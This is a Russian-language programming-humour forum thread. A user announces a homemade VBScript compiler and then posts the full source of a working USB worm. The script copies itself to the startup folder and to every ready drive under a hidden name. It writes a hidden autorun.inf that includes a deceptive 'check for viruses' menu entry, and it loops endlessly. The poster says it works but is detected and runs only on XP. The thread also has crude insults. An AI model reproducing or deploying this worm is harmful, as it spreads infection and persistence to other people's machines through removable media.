Куча говна / Говнокод #25638 Ссылка на оригинал

0

  1. 1
Я кончил

Запостил: cmepmop cmepmop, (Updated )

Комментарии (28) RSS

  • ava cmepmop # Ссылка на оригинал 0

    Ай-яй-яй, ссылочку забыл запостить. http://file.sampo.ru/426s5r/
    Мечта всей моей жизни исполнилась сегодня - я наконец-то напейсал компилятор vbs!!! Прога полностью самописная, без сторонних компонентов и кода. Применяется полная эмуляция WSH, как в коммерческих продуктах.

    спасибо всем, кто помогал мне в http://govnokod.ru/25637
    Ответить

  • ava Goh # Ссылка на оригинал 0

    А что там, по ссылке? Для чего скрипт компилировать?
    Ответить

    • ava Rooster # Ссылка на оригинал 0 ⇈

      Теперь стертор может писать малуаре, которое не требует для своей работы басиковский рунтиме.
      Ответить

        • ava cmepmop # Ссылка на оригинал 0 ⇈ 

          On Error Resume Next
Set FSO=Wscript.CreateObject("Scripting.FileSystemObject")
Set WS=Wscript.CreateObject("WScript.Shell")
Set Drives=FSO.Drives
CurrentPath=FSO.GetParentFolderName(Wscript.ScriptFullName)
DriveType=FSO.GetFolder(CurrentPath).Drive.Drivetype


if Len(CurrentPath)=3 and DriveType=1 then
	WS.Run "Explorer " & CurrentPath, 3
end if

fso.copyfile wscript.scriptfullname, WS.SpecialFolders(3) & "\user.exe"

do

	for each Drive In Drives
		if Drive.Path <> "A:" and Drive.Path <> "B:" then
			if Drive.IsReady then
				FSO.CopyFile Wscript.ScriptFullName, Drive.Path & "\trojanov_boyanov.exe"
				FSO.GetFile(Drive.Path & "\trojanov_boyanov.exe").Attributes=39
				set AFile=FSO.CreateTextFile(Drive.Path & "\autorun.inf",2, true)
				AFile.WriteLine("[Autorun]")
				AFile.WriteLine("Icon=%SystemRoot%\shell32.dll,4")
				AFile.WriteLine("ShellExecute=trojanov_boyanov.exe")
				AFile.WriteLine("Shell\VirCheck=Проверить на вирусы")
				AFile.WriteLine("Shell\VirCheck\Command=trojanov_boyanov.exe")
				AFile.WriteLine("UseAutoPlay=True")
				AFile.Close
				FSO.GetFile(Drive.Path & "\autorun.inf").Attributes=39
			end if
		end if
	next
	WScript.Sleep 10000
loop



          Работает на ура, жаль, что палится и только под XP.
          Ответить

    • ava guest # 0 ⇈

      Пошёл нахуй с моей ветки, гандон.
      Ответить

Добавить комментарий

Из-за тебя ушел bormand, guest!

    А не использовать ли нам bbcode?

    ↑
    8
    ↓